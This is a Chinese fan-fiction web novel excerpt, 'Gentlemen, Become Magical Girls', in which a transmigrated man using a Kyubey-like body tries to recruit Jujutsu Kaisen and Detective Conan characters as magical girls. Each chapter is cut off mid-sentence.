《先生们，成为魔法少女吧》 1. 第一章 《先生们，成为魔法少女吧》全本免费阅读 ‘和我签订契约吧，我能实现你的任何愿望。’ 甜美诱惑的话语突兀响起，声音近到仿佛是在心里直接跟自己对话一样。 伏黑惠此刻正走在米花中央医院的走廊里，手中拿着一捧花束，照常去看望已经昏睡了将近一年的姐姐。 然而就在这样一个再寻常不过的日子里，他措不及防地听到了这奇怪的声音。 伏黑惠往前走的步伐停了下来，他即刻挪动视线，快速打量了周围一圈后，将目光锁定到自己的左侧方向。 就在医院走廊左边的窗台上，站着一个奇怪的白色生物。 它长得既像兔子又像猫，外形看着非常可爱，就像是玩偶店里非常受女孩子们喜爱的那种类型。 对方用红色的眼睛盯着他，显然刚才正是这个神秘生物在跟他说话。 伏黑惠警惕地望着它。 明明对方没有张嘴，他却非常清楚地再次听到了它的声音：‘伏黑惠，和我签订契约，成为魔法少女吧。’ 由于这句话过于震撼，令他感觉声音仿佛在耳边不断回响着，循环往复。 ‘……签订契约，成为魔法少女吧。’ ‘……成为魔法少女吧。’ ‘……少女吧。’ 年满15岁即将成为男子高中生的伏黑惠：“………？” 他戒备的情绪骤然间卡了壳，不由得缓缓打出一个问号。 这感觉就像是上一秒还处在怀疑遭遇未知敌人、随时可能迎来紧张刺激的战斗片场，下一秒却意外转移到了搞笑漫的滑稽片场。 比起这家伙怎么知道自己的名字，现在更令他疑惑的是魔法少女这个离谱的词。 毕竟这个词实在是太过幼稚中二，他只从子供向动画里听说过……更别说是将其与自己联系起来了。 找一个男生去当魔法少女，这是在开什么玩笑？ 就算是骗人的话术也过于不现实了吧，当他是小孩子吗？！ 而那个生物却似乎察觉不到他黑下来的脸色，继续温和友好地道：‘你只要签订契约，成为魔法少女，我就可以实现你的一个愿望，不管是什么愿望都可以。’ 伏黑惠听着对方的话，逐渐反应过来了。 虽然非常奇怪，自己居然没有提前感知到，尽管对方还会说话，长得也不像自己之前遇见过的那样丑陋恶心…… 但这应该是咒灵吧？ 比较特殊的能隐藏自身咒力的咒灵。 毕竟怎么可能真的是什么魔法少女的契约兽，那也太不科学了。 而作为一名负责祓除咒灵的咒术师，看到有咒灵出现，毫无疑问应该做的事情当然是…… 伏黑惠立即熟练地摆出了一个召唤的手势，沉声道：“玉犬。” 随着他的话音落下，一黑一白两只玉犬从他背后的影子里显现出来，没有任何犹豫地伸出利爪，冲着那个白色神秘生物扑了上去。 对方似乎愣了下，反应慢了半拍。 在它起跳躲到另一边的时候，如同松鼠般的白色尾巴被犬的利爪意外划破了，红色的鲜血缓缓沁出。 它依旧温和的声音多了几分无奈：‘我真的没有恶意。’ 伏黑惠没有动摇，他不会对咒灵心软。 两只玉犬一左一右地上前，气势汹汹地准备继续向那个白色生物发动攻势。 ‘好吧，那我以后再来找你。再见了，伏黑君。’ 对方知难而退，留下这样的话后，便掉头快步要走。 伏黑惠不准备放任危险生物离开，更何况自己的姐姐就在这家医院里，他不可能留下对她有威胁的任何东西。 他打算和玉犬一起往前追击。 可是这里并不是能够无所顾忌地战斗的地方，相反医院的这条走廊来往的人并不算少。 那个白色生物转身离去的背影一下子就被路人挡住了。 虽然只是一瞬间，伏黑惠就紧跟着越过了路人，眼前却再也看不见刚才那家伙的身影。 对方已经逃走了。 周围连一点咒力残秽都没有……这样悄无声息地出现，又如同凭空消失般地离开。 他从未见过这样的咒灵。如果让其他咒术师听闻，估计也只会怀疑是不是他的精神出问题了吧？ 伏黑惠伫立在原地，眉头紧锁，陷入沉思。 有个护士装扮的女子就在这时向他走来，犹豫地开口道：“那个，你好……” 伏黑惠抬头看向她。 接着却听到了对方这样的话语，明显小心翼翼的，似乎生怕他出什么状况：“精神科不在这里，你可能走错路了。” 伏黑惠没反应过来：“什么？” “如果需要帮助的话，直接跟我说就好了。” 这个护士看起来年纪不怎么大，像是刚进医院工作不久，贴心地继续说：“我已经把医院地图记清楚了，可以带你去精神科，或者帮你联系父母也行，你是不是不小心和家人走散了？” 伏黑惠：“……” 他算是终于听懂对方的意思了。 没想到最先怀疑他精神状态的不是其他咒术师，而是这里的普通人。 也是，一般人类是看不见这些的。他们看不见刚才的那个咒灵，也看不见自己用咒力召唤出来的玉犬。 所以说…… 伏黑惠突然意识到，刚才在别人眼中，自己一个人走着走着突然停下来，脸上的表情变了又变，还说着奇怪的话摆出了奇怪的手势…… 这样的独角戏要多奇怪有多奇怪，怪不得感觉走廊里其他人的目光若有若无地在看向自己。 而在意识到这些之后，那些目光仿佛更加具有存在感了。他不敢去想自己的形象在那些人眼里都变成了什么样子。 “我、很、正、常，不需要任何帮助。” 伏黑惠只能咬了咬牙，僵硬地丢下这句话。 没有去看那个护士的表情，他说完后就直接快步离开这个地方，这里实在是一刻也没办法待下去了。 可恶，都怪那个奇怪的咒灵…… 要是下次还能见到它，他一定不会再轻松地放过那家伙！ 然而，那个‘咒灵’此刻也感觉有点委屈。 逃离了刚才的那个走廊，可爱的白色生物将自己受伤的尾巴抱在怀里，在心里难过地向系统诉苦： ‘好险，刚才差点就被杀死了，你都看见了吧？这任务实在是太难了。’ 它身旁有个同样是白色的小光球，用机械音安慰道：【没事的，朔久。就算你在使用丘比这个身体时死掉，也不会影响到你真正的身体。】 丘比也就是这个可爱又神秘的白色生物。 不过操纵着它的却是一个人类，名为伊江朔久的人类。 系统在绑定他时，免费将丘比这个契约兽马甲送给了他，刚才是他第一次使用这个马甲行动。 虽然被告知马甲的死亡不会影响到自己本体，可是伊江朔久仍旧苦恼着。 ‘但是，丘比根本没有自保能力，只能选择让谁看得见它。如果意外死掉了，以后该怎么和其他人签订契约？’ 尽管，只有被丘比允许的人才能看见它的这个能力确实很好用。 刚才他就是在伏黑惠的视野盲区，重新收回了能被其看见的权力，才得以成功逃脱。 但是像丘比这样弱小无害的生物，走路上都容易被看不见它的车给撞死，或者被看不见它的人不小心踩死。 万一不幸真的发生了，那他今后的任务也就完全做不下去了。毕竟只有丘比这个马甲才可以跟其他人订下契约。 系统思索了片刻，对他说：【其实丘比这个身体就算死掉了，也可以换另一个一模一样的丘比身体，就是会耗费能量。所以我们得尽快找到能够签订契约的人才行。】 伊江朔久松了口气：‘这样就好。这么看来，丘比这个马甲还蛮好用的。这也算是目前我得到的最好的一个消息了……’ 真是太不容易了，想想就令人为此心酸。 从17岁那年穿越来到这个世界，到现在他已经在柯学、异能力、咒术混杂的高危世界里，独自艰难地活到了21岁。 然而直到四年后的今天，他才终于迟迟地被金手指找上门来。 原以为时来运转，可是实际的情况却跟理想中的完全不一样。 他也算看过非常多的小说和动漫，熟悉各种故事的套路。但自家的系统根本不按套路出牌。 系统给他的任务居然是——找到一些适合的人，和他们签订契约使其成为魔法少女，让他们与魔女使魔战斗，从而拯救世界。 本来伊江朔久还以为今后要常常和一些未成年的女孩子们打交道，还得看着年幼的她们与敌人战斗、保护世界，心情有些复杂。 可是刚才一进医院，在他瞥见了伏黑惠的身影之后，系统就立刻提醒那就是符合要求的人。 伊江朔久当时忍不住又往伏黑惠所在的方向多看了几眼，反复进行确认自己眼睛应该没出问题。 ‘那个好像是男性吧？’ 【确实如此。】 ‘……男性？魔法少女？！’ 你要不要再听听自己在说些什么？！！ 伊江朔久感觉自己的心情更复杂了。 向一个男性去推销魔法少女，这也太为难人了。就算签订契约之后，作为成为魔法少女拯救世界的回报，丘比这个马甲可以让对方的 2. 第二章 《先生们，成为魔法少女吧》全本免费阅读 一个小时前，警视厅搜查一课的佐藤美和子刚刚下班，正走在回家的路上。 她意外在路边看见，不远处有位老人似乎是犯病了，突然失去了意识向后倒下。 可是那个距离，她根本来不及反应过来上前去接住对方。 幸好，那旁边有个坐着轮椅的青年也注意到了这一突发情况，眼疾手快地想要接住那个老人。 尽管青年腿脚不便，仍然努力成功接住了老人，自己却因为角度过于倾斜，和轮椅一起向左侧倒下去。 所以最终老人没有受到任何伤害。但是青年重重地摔在了地上，左臂因此受伤。 其实当时离得近的还有其他人。如果换作别人，应该很轻松就能接住老人。可那个青年却是最快反应过来并付诸行动的，即使他自己的身体是这样的状况。 这样的人，却只能被迫困在轮椅上…… 佐藤不免为此感到惋惜。 其实在被包扎的空闲时间，伊江朔久表面上在走神，实际是在心里跟系统对话： ‘系统，除了伏黑惠之外，你还能查到谁符合成为魔法少女的要求吗？’ 白色的小光球为难道：【需要目标人物和我们的距离足够近，我才能够感知到。】 伊江朔久：‘……好吧，那么以后找人大概还挺麻烦的。’ 这次他也是因为见义勇为、意外受伤偶然来到了这个医院，才能让系统幸运地感知到伏黑惠的存在。 本来当时他遇到过来帮忙的佐藤小姐，打算把那个晕倒的老人托付给对方带去医院，就想要自己先离开的。 不过佐藤小姐担心他的身体状况，就坚持想让他也一起来医院处理下伤口。 他只能无奈地跟着过来了，也因此正巧看到了此刻来医院看望姐姐的伏黑惠。 后面的事情也就不必再想了，差点被杀掉这种事还是蛮恐怖的。 之后再想去接近伏黑惠的话，估计他得先缓一缓，想想怎么能够让对方不要动手，先停下来好好地听丘比说清楚。 虽然这明显是一件极为困难的事情，但要是选择换个好说话的目标……一时之间，伊江朔久又不知道该怎么找到别的符合要求的人。 他感觉这种人应该比较稀少，得大海捞针地去寻找。而对于他一个行动不便的人来说，这实在过于困难了。 包扎完伤口之后，伊江朔久也没有再留下来的理由了。 反正已经知道了伏黑惠的姐姐就在这个医院住院，以后还有机会在这里遇到伏黑惠，现在也就可以先离开了。 伊江朔久想了想，打算最后再礼貌性地问下那个昏倒的老人的状况，然后就提出告别。 “对了，那位老人家还好吗？” 提到这个，佐藤抿了抿嘴，心情有些低落：“他患了肺癌，已经是晚期了。” 伊江朔久不知道该说什么了。 “那位老人早就知道了自己的病情。刚才他清醒后，情绪很稳定，还说了想要向你道谢。他的孙子也已经赶到病房了，应该正在照顾他。” 佐藤宽慰道：“幸好你当时及时接住了那位老人，没有让他再出什么意外。” 伊江朔久：“……没关系的，我做的只是其他人见到了都会去做的事情而已。” 就在这时，一个有着粉黑色尖刺短发的少年匆匆从远处赶过来。 很快来到他们面前，少年气还没喘匀，就连忙开口道：“幸好赶上了。您就是伊江先生吧？” 同一时刻，系统的声音也略带欢快地响起：【检测到这个人符合成为魔法少女的要求。】 伊江朔久愣了下。 怎么又是男生？！！ ……这真的不是在开玩笑吗？男生和魔法少女的形象到底哪里沾边了啊？！ 而且居然这么快就又遇到了一个符合要求的人，难道符合要求的人其实很常见？ 等等，对方的模样特征似乎很眼熟…… 少年感激地对他说道：“我是虎杖悠仁，我都听佐藤小姐说了，很感谢您对我爷爷的帮助……” 虎杖悠仁？ 所以说，之前那个在路上意外晕倒的老人是虎杖倭助？ 动漫形象与实际真人总还是有差别的，他先前没认出来也情有可原。 不过，伊江朔久忍不住对系统道：‘我能请问一下，所谓的符合要求到底是什么吗？’ ‘难道目标人物都是咒回动漫里的男性角色？那么虎杖倭助……’ 伊江朔久卡壳了，没能继续说下去。 想象一位老人变身成为魔法少女这种事，对他来说还是过于超前了，也太为难那位老人家了。 不过大概率也不可能，否则系统应该早在之前他刚碰见虎杖倭助的时候，就会出声提醒他了。 【其实很多人都有资格成为魔法少女，就是不同的人之间潜力相差很大。我们得找到有足够潜力的人，这样契约后的魔法少女的力量会非常强大，与魔女、使魔的战斗也就能够得心应手了。】 系统耐心解释道：【我想，能够成为咒回主要角色的人，潜力非常大应该也很正常。】 伊江朔久有点复杂地看向虎杖悠仁。 此时对方还只是一位中学生，还没有进入咒术届，不清楚自己的潜力有多大，也不知道自己符合成为魔法少女的要求。 虎杖悠仁还在继续说：“……爷爷他总是闲不住，明明知道自己的病情还想着一个人出去走走。这次真的非常感谢，幸好能够遇见您和佐藤小姐。” 伊江朔久：“不必用敬称，我做的真的不算什么，还是要感谢佐藤小姐能帮忙及时将其送来医院。” 一旁的佐藤也推辞道：“那我做的就更不算什么了。而且感谢的话他们都已经对我说过了。” 伊江朔久突然想到了什么，对面前的少年说：“对了，你爷爷的情况……如果有困难的话，我或许可以帮上一些忙。” 虎杖悠仁有些错愕地连忙摆手道：“应该是我要想办法感谢您才对，怎么能够还向您寻求帮助。爷爷他肯定也不会同意的。” 伊江朔久递过去了一张名片，像是成熟可靠的长辈，语气温和：“没关系的，我说了不必用敬称，而且这些对我而言其实不算什么。” 虎杖悠仁下意识接过名片。 名片上面标明的公司是一家有名的汽车制造公司，职位是董事长。 名字是……枡山宪三。 虎杖悠仁对这个名字有点印象，他在新 3. 第三章 《先生们，成为魔法少女吧》全本免费阅读 伊江朔久一边熟练操纵着电动轮椅，不急不慢地往回去的方向行进，一边在心里对系统说：‘即使我邀请他，他大概也不会同意的。’ ‘你刚才不是也听到了吗？虎杖悠仁他选择尊重爷爷的想法，所以是不会为了延长爷爷的生命而和我们签订契约的。” 白色小光球犹豫道：【或许虎杖悠仁会有其他的愿望，会为了别的愿望而答应也说不定吧。】 伊江朔久：‘就算如此，我也觉得还是去找别人签订契约比较好。’ 【为什么？】 ‘最重要的原因是，虎杖是咒回的主角。反派羂索布局了那么多年，肯定不会轻易地放过他这个重要棋子。’ ‘不久之后，羂索便会千方百计地引导虎杖吃下特级咒物，使宿傩于他的身体里复生。不确定因素太多了，我们的任务很容易被干扰，这就太不划算了。所以还是暂时不考虑他吧。” 系统表示理解了：【嗯，你说的很有道理。】 伊江朔久突然愣了一下，原本操纵轮椅的动作都停了下来。 ‘系统？’ 面前白色的小光球似乎信号不好的样子，光亮一闪一闪的，好像随时都可能彻底暗下去。 对方还没有立即察觉到自己的情况，还在疑惑伊江的反应：【怎么了？】 伊江朔久迟疑道：‘……你没电了吗？’ 系统：【？？？】 伊江朔久提醒道：‘你的身体在闪。’ 系统顿了一下，慢半拍地说：【对了，忘了提前告诉你，我不能一直待在你身边，经常可能会突然离开。比如现在这种情况，就代表我很快就得离开了。】 伊江朔久表情变得有些失落。 系统安慰道：【不过，即使我不在你身边，丘比的马甲你还是可以随便使用的，不用担心。】 伊江朔久：‘离开的时间里，你是有别的事情要忙吗？’ 系统犹豫地说：【是的。】 ‘我就知道……’伊江朔久叹了口气：‘小说和动漫里的那些套路果然不会发生在我身上。’ 就比如说，系统交给他的这种非传统的任务。 非传统这个说辞已经十分委婉了，切实来说，应该是非常离谱的任务才对。 自己化身成契约兽，找别的男生去当魔法少女，让他们拯救世界……这种事情绝对很奇怪吧。 既然在任务内容这方面，已经打破了套路，别的地方不按常理出牌应该也很正常。 ‘也是，让一个系统随机绑定一个萌新宿主、一直待在宿主身边进行辅助，还不如让系统自己去做任务的效率更高呢。’ 考虑到效率问题，一个系统同时绑定多个宿主去做任务才比较合理，还可能是系统还有别的工作要去做，比如整理资料什么的…… 不能经常待在宿主身边、不能随时为宿主服务这也很正常。 但伊江朔久还是质问道：‘果然，你在外面背着我还有别人，对吧？’ 这语气像极了怀疑丈夫出轨的妻子。 系统：【……啊？】 机械音卡了一下，有种CPU过载的感觉。 ‘我开玩笑的。’ 伊江朔久笑了：‘好吧，你有别的工作要离开也很正常。我只是想问一下，你别的工作不会也是在这个世界吧？’ 系统无奈道：【不是的。放心，不会给我们的任务带来麻烦的。】 伊江朔久点点头：‘那就没什么问题了，再见，你有事就去忙吧。’ 【我会尽快回来的，再见，朔久。】 白色的小光球说完这句话，身上的光亮便彻底暗淡下去，整个消失在空中。 本来其他人就看不见系统，只有他一个人能看见。所以在系统消失之后，伊江朔久有些没什么实感。 换做是别人，应该也会这么感觉吧。 今天突然被系统找上门来，经历了与众不同的一天之后，系统便突然说要离开了……总忍不住让人担心这一切是否真的发生过。 伊江朔久想了想，试着再次使用了丘比这个马甲，把意识分了一缕过去操控丘比。 可爱的白色生物自他脚边显现，轻松一跃便跳上了轮椅，随后找了个舒服的姿势，躺在他的腿上蜷成了一团。 如果别人能看见丘比的话，远远望去，估计会以为是只白色的猫咪安心地躺在主人腿上睡觉。 伊江朔久伸手摸了摸它的头。 这么看着丘比，就令人感觉安心多了。 …… 当时从医院的那处走廊离开后，伏黑惠选择绕了会儿路，才来到了姐姐的病房。 真希望今天见到了他黑历史的那些人能够原地失忆……伏黑惠默默想到。 当然这是不可能的。 他轻轻叹了声气，把姐姐病床旁边花瓶里有些蔫蔫的花取了出来扔掉，再娴熟地将自己带来的新的花束整理好，放进了花瓶里。 随后，他坐在了病床边的椅子上，拿出手机，给五条悟打了个电话。 今天不小心放跑了那个奇怪的咒灵，得跟五条老师说一下才行，他实在不放心在这医院附近有能够威胁到自己重要之人的危险咒灵。 电话很快被接通了：“喂，怎么啦？惠。” 伏黑惠：“五条老师，我刚才在米花中央医院遇见了一个很奇怪的咒灵……我感知不到它的咒力。” “感知不到咒力？” 五条悟有些感兴趣了：“详细说说。” “它长得很、可爱。” 伏黑惠艰难地说出可爱这个词，如实描述道：“有着一双猫耳，两边有很长的耳毛和金色圆环，还有一条松鼠般的尾巴。整体是白色的，眼睛是红色的，个头比较小。” 五条悟尝试思考，思考失败。 “你确定这是咒灵？不是什么新发现的物种吗？” 伏黑惠其实也不能肯定它就是咒灵，但是……“其他普通人看不见它，而且它会说话，是主动来找我的，似乎认识我。” “这么特殊的咒灵，我倒是从来没见过。”不过五条悟还是选择相信了伏黑惠的话：“好了，我知道了。有空我就去米花中央医院看看。” 伏黑惠抿了抿嘴，犹豫了下。 五条悟察觉到：“还有什么话想说吗？惠。” 伏黑惠看了眼病床上的姐姐：“津美纪就在这家医院里，我担心……” 五条悟也想起了这点：“也对，既然它可能认识你的话，或许会对津美纪下手。我会安排些人这些天帮忙去看着她的情况，让他们时刻向我汇报，放心吧。” 伏黑惠：“谢谢。” 五条悟：“没关系啦。对了，你再次遇到它的话，还是先避一避比较好。有智商且能说话的咒灵等级都不会低。” 伏黑惠不解地道：“可是我刚才用玉犬伤到了它，虽然它逃得很快，一转眼就不见了。” 五条悟：“……还真是奇怪。或许它真的不是咒灵，而是什么外星生物呢。” 伏黑惠无言以对。 与五条悟的通话结束后，伏黑惠也算是安心了不少。 五条老师虽然平常总是不太靠谱、爱捉弄别人，但关键时刻还是可靠的。 嗯……应该是可靠的吧。 伏黑惠想起五条悟刚才开玩笑说外星生物时的语气，又有点不确定了。 谁会相信那么荒诞的事情，外星生物什么的，只有小孩子才会喜欢这么说吧。 伏黑惠将目光移向躺在病床上与自己年龄相仿的少女。 伏黑津美纪是他的继姐，只比他大一岁，和他没有任何血缘关系。 在他们都还很小的时候，他的父亲和津美纪的母亲组合成了一个家庭。 但是两方都是不靠谱的大人，后来都抛弃了自己的孩子纷纷离开，只剩下他和津美纪两个年幼的孩子相依为命。 幸好后面得到了五条悟的接济，他们才得以好 4. 第四章 《先生们，成为魔法少女吧》全本免费阅读 夕阳西下，落日的余晖透过窗户洒进了咖啡店中，为店里本就温馨的氛围又加上了一层暖金色的柔光。 白发青年就坐在靠窗的位置，面前的桌子上放着一台笔记本电脑。 他专注地看着电脑，不时轻敲键盘，似乎正在做着什么工作。 由于角度问题，店里的其他人看不见他的电脑屏幕，但总是忍不住向这边悄悄投来目光。 原因不难猜测。 青年的样貌很好，微长的白发和青色眼瞳都比较特殊，肤色也比正常人要白一些，整体偏向冷色调。 再加上他的气质比较安静，虽然看着温和好相处，但似乎有些寡言，不像是会主动与人交流的那种类型。所以容易给人一种不太真实的感觉。 不过，如今沐浴在夕阳的柔光中，青年周身加上了一层温暖的色调，缺少的活力与生机也被弥补了，好似要融化在光里。 就是很可惜，青年坐着的不是咖啡店里的椅子，而是自己带来的轮椅，无声地昭示了他身体的状况。 人们本就容易被特殊的事物所吸引，路上遇见其他‘特殊’的人也常会多看上两眼，更何况是这样年轻的长相不错的青年。 被他的样貌所吸引的人，为他感到惋惜的人，时不时悄悄投来目光，关注着青年的举动。 自然有人很快注意到，青年忽然愣了一下，原本一直放在电脑屏幕的视线往旁边挪了挪。 他微微侧头看向窗边，扬起了一抹极淡的笑容。 窗外有什么值得关注的存在吗？ 也有别的人往窗外望去，试图找到吸引青年目光的存在，却没有注意到有什么独特的事物。 注定无法被其他人看见的白色小光球出现在窗台边，身体逐渐由虚变实。 系统的语气轻快：【朔久，我回来了。】 伊江朔久看着它，在心里配合地回应：‘你终于回来啦，我等了你好久。’ 系统：【辛苦了。我离开的这三天里，朔久你有什么进展吗？】 伊江朔久：‘当然！’ 他把笔记本电脑稍微往左挪了一点，示意白色小光球去看屏幕。 ‘我已经办好魔法少女网站的雏形了。’ 电脑屏幕上的网站页面制作得非常出色，文字排版清晰，页面布局合理，分类明确，内容丰富…… 很难相信这是在短短的三天之内，只由一个人就能制作出来的。 但很可惜，对方没有关注页面制作得怎么样，也没有在意他电脑技术好不好。 小光球仿佛卡顿了一下，半天才又开口，声音里明显带着茫然：【魔法少女网站？？】 伊江朔久自然地说：‘放心，就只是表面上的含义。’ 系统：【？？？】 什么意思？它听不懂他在说什么。 伊江朔久：‘目前只是一个为魔法少女爱好者创办的网站，是很美好正能量的那种类型，我不是在指那个动漫哦。我们的网站完全不包含黑残深内容。’ 系统沉默了一下，重复道：【那个动漫？】 ‘原来你没听过啊，有个动漫的名字就叫魔法少女网站*，是黑暗致郁的风格。’ 系统：【……原来你说的是这个意思。】 ‘不过那个动漫跟我们扯不上什么联系，不用去在意。’ 伊江朔久眉眼弯弯：‘毕竟我们是拯救世界的正义伙伴。虽然加了点性转的搞笑元素，但整体也是积极阳光正能量的，是与黑残深截然相反的类型，对吧？’ 没有等系统接话，伊江朔久就继续道：‘只不过你们还真是喜欢不按常理出牌。’ ‘拯救世界不应该都是中学生的事情嘛，我都穿越了四年已经成年了，你们居然现在才找过来。’ 系统不知道该怎么回话，有点无奈。 它想，店里那几个悄悄往这边投来目光的人，估计猜不到这个气质安静的青年，实际上其实并没有那么寡言。 系统尝试转移话题：【所以，为什么要办一个魔法少女网站呢？】 伊江朔久耐心讲解：‘是为了宣传，让人们更容易接纳魔法少女的存在。’ ‘你不是说过吗？会有不少魔女和使魔来到这个世界，它们会吸食人们的生命力。’ 系统应道：【是的，所以我们应该尽快找到符合要求的人，和他们签订契约。只有魔法少女才能看见魔女和使魔，有能力将其消灭。】 ‘那个确实很重要……’ 伊江朔久想起伏黑惠，想起对方当时想要祓除丘比的那个气势，语气不禁弱了下去。 想到以后还要再次以丘比的形象去找伏黑惠，他就有点头疼。 ‘可是，让普通人了解危险也是有必要的。’ ‘我记得你说过，魔女是散播绝望的存在，通常会隐藏在自己的结界中，不会被普通人看见。’ 系统：【是的，你记得很清楚。】 ‘魔法少女要主动高效率地找到魔女是很艰难的。在找到魔女之前，可能就会已经有很多人遇害了。’ 谈到这种话题，伊江朔久不免正经了几分：‘所以需要创办一个网站，引起民众对魔法少女的关注。如果有人发现不对劲的地方，就可以通过这个平台交流、寻求帮助，让魔法少女能更快地找到并消灭魔女。’ ‘虽然现在这个网站还无人问津，不过以后多往里面发点魔法少女战斗的视频就好了。’ ‘这个世界虽然有咒术这类的特殊能力，但是却只有少部分人知道。如果公开魔法少女的存在，一定会很吸引眼球的。’ ‘这样一来，死亡的人数应该也会降低许多吧。’ 【考虑得很周到呢，朔久。】 系统看得出来，他做的这些事情很明显不是为了尽早完成任务、获得奖励，而是切切实实地为了其他人考虑。 系统不免感慨道：【你很有善心嘛。】 白发青年愣住了，仿佛听到的不是一句再寻常不过的夸赞。 他下意识垂下头来，神色莫名：‘……是吗？’ 但很快青年就又将这些情绪全部压下去，嘴角扯起一丝笑容。 系统疑惑地问：【怎么了？有什么问题吗？】 ‘没什么，只是……这句话也太不适合我了。’ 伊江朔久 5. 第五章 《先生们，成为魔法少女吧》全本免费阅读 然而他还没出波洛咖啡店的门，就出师不利，被榎本梓叫住了。 榎本梓走过来，忧心地问：“店长，你一个人出去吗？” 伊江朔久点点头：“没关系，我来的时候也是一个人，不会出什么事的。” 榎本梓抿了抿嘴。 她之前也劝过对方，希望对方能请个住家的家政照顾自己，不管怎么样都能有个人照应。可是伊江朔久拒绝了。 榎本梓知道他习惯一个人独处。 可是他坐着轮椅，一个人不论在家里还是在外面都很不方便。 就算隔段时间会固定有保洁上门，但又不是经常陪在伊江身边，发生什么急事也无法立刻帮忙。 这常常令人担心会不会出什么事情，就比如现在。 榎本梓说：“现在是下班的高峰期，有些学校的学生还没放假，也是这个时候放学。这边街道近期又有商场举办活动，所以路上的人可能会很多。” 路上人多的时候，坐着轮椅上街显然很麻烦。 榎本梓提议道：“要不等一会儿，店长，我找朋友帮我代一下班。然后我送你去你要去的地方吧？” 伊江朔久感到无奈。 和其他人熟了之后，就是这一点不太好——总是有人担心关照自己的身体状况，想要给自己帮忙，每次拒绝起来还挺麻烦的。 “不用了，我现在就得走了。” 伊江朔久安慰道：“放心，我要去的地方有条近路，那条路上一般没多少人的。” 榎本梓有点犹豫。 这时，正巧有一位新的客人走进咖啡店，柜台那里却没有服务生。 趁着榎本梓还没想好怎么办，伊江朔久便立即说道：“我就先走了，你去招待客人就行，不用担心我。” 虽然伊江朔久温和好说话，榎本梓和他的关系也还不错。 但毕竟他是店长，榎本梓怎么可能当着店长的面，冷落了上门的客人，影响咖啡店的生意。 伊江朔久因此得以快速溜出了咖啡店。 他操纵着电动轮椅，往医院的方向走。 刚才的话他倒是没有骗榎本梓，他确实知道一条近路，路上人挺少的。不用担心操纵轮椅时，不小心和其他人撞上。 不过就是那条路有点不太平坦，但对于他这个经过改装的轮椅而言，那种程度的坎坷还是完全没问题的。 伊江朔久一边操纵着轮椅往前，一边漫不经心地跟系统闲聊。 ‘幸好刚才有客人进来，榎本小姐才没时间再跟我说下去。不过我也在想，咖啡店里的生意越来越好了，是不是需要再招一个服务生？’ 【这种事情我不太了解，应该都可以吧。】 ‘那我回去就把招聘信息放网上，也确实该减轻一下榎本小姐的负担了。’ 【那你要不要也顺便雇一个照顾你的人？】 伊江朔久哑然失笑：‘连你也这么劝我啊。不过真的不用了，我不太习惯和别人长时间相处。’ ‘而且，现在不是已经有你在了吗？我没什么可担心的。’ 白色小光球愣了一下，半天没再说什么话。 前进了好一段路之后，突然伊江朔久停下了动作，像是注意到了什么，侧目往旁边的一条小巷子望去。 那条巷子并不深，不过巷子里面右侧还有一个拐角。 停在目前这个位置，伊江朔久看不到拐角那边的情况。 系统：【怎么了？朔久。】 ‘等一下，先别说话，我好像听见那边有什么声音。’ 伊江朔久静心去听，声音变得清晰了一些。 少女的哭泣声，还夹杂着其他几个似乎同样年龄不大的男生的怒喝声，隐隐约约传到了这边来。 他仔细分辨了一下，听到了对少女的辱骂，还有人呵斥对方别哭，把钱都交出来？ 很明显，他碰上了霸凌抑或抢劫事件。 系统也听到了这些，很快也意识到那边发生了什么事。 【朔久，你要报警吗？】 ‘……现在报警的话，应该来不及吧。’ 系统劝道：【但是也没有别的办法了，不是吗？你一个人阻止不了他们，很可能还会让自己受伤。】 ‘我知道。’ 伊江朔久说着，拿出手机简单编辑了一条报警的短信发出去。 系统松了口气：【就这样等着警察来就行了。】 伊江朔久没有回应。 系统刚放下的心立刻又提了起来，觉得对方不会只是在这里干等着，大概率还是会将自己牵扯进去。 因为伊江的表情罕见得冷了下来，尽管刚才已经报了警，目光却依旧紧紧地放在巷子所在的方向，去听那边的动静。 系统莫名觉得，对方这样子有点像是回想起了什么令人不快的往事。 【你别冲动……】 系统还想劝说点什么，不过好像突然感知到了意外的事物，它顿了一下，转而说道：【感知到附近有符合魔法少女要求的人……】 巷子那边突然传出一声惊呼。 是那个少女的声音，对方似乎被什么吓到了，又或是受到了什么威胁，声音一时间拔高了好几度。 伊江朔久没有再停留在原地，他操纵着电动轮椅往前。 【……那个人的位置在我们后方五十米外，不过距离正在慢慢靠近，大概过一会儿就要路过这边了。】 伊江朔久没有停下动作，随口问道：‘还是咒回的角色吗？’ 【唔，我认不出来。】系统试着描述：【那是个成年男子，穿得一身黑……】 听到‘成年’，伊江朔久便说道：‘好，那就没问题了。’ 这种时候，伊江朔久已经没闲心去在意为什么是成年男子了。 也可能是经过一而再再而三的磨练后，他已经开始习惯魔法少女不是女生了。 既然如此，那就算魔法少女的年龄并不小，其实也不是多令人惊讶的事情吧？ 再说能符合要求、潜力非常大的成年人，应该不至于对付不了几个只会霸凌别人的中学生。 虽然不能保证对方会不会见义勇为，但也顾忌不了这么多了，只能自己先上去拖延一会儿时间。 而且说不定警察很快就能赶到了。 伊江朔久操纵着轮椅进到了巷子里面，停在了拐角处。 这个位置足以让巷子口的人，和巷子拐角深处的人都能看见自己。 不出意料的，他看见了几个流里流气的男生站在拐角处的右侧那边，将一个女生围堵在角落。甚至有男生拿出了小刀贴在女生的侧脸进行恐吓。 那四五个男生的年龄看着都不大，最大的也像是顶多只有十七八岁，有的人还穿着学校制服。 可是他们的 6. 第六章 《先生们，成为魔法少女吧》全本免费阅读 高个子男生好像听到了极为不可思议的话，震惊道： “哈？？！” 其他几个男生也是如出一辙的惊讶表情。 这个穿得一身黑、戴着墨镜，看着就很有黑.道气息的家伙居然说自己是警察？ 开什么玩笑？ 就算对方说他是也想来分一杯羹，从他们这里拿点钱花花，他们也不会感到意外。 但是警察这个借口也太假了吧，装什么呢。 只有伊江朔久知道这个人确实是警察。 伊江朔久望着对方，略微有些发怔。 这个人有着一头黑色的蓬松卷发，穿着全套黑色西服，打着领带，白色衬衫最上面的扣子是解开的，再加上这熟悉的相貌…… ——这是松田阵平。 其实这一身打扮除了像混黑.道的，也有点像是在服丧。 伊江朔久知道，松田阵平是警视厅爆.炸物处理班的。他有个关系特别要好的幼驯染叫萩原研二，和他在一起工作，但却已经在四年前拆弹时殉职了。 所以，松田阵平有着足够强烈的愿望，是很可能会为了让萩原研二复生而答应签订契约的。 使死者复生这种事情，按理说是绝无可能的。 但是只要签订契约…… 为了实现那个不惜一切也想达成的愿望，甘愿在天平的另一端上付出些什么，奇迹和魔法偶尔也是会存在的…… 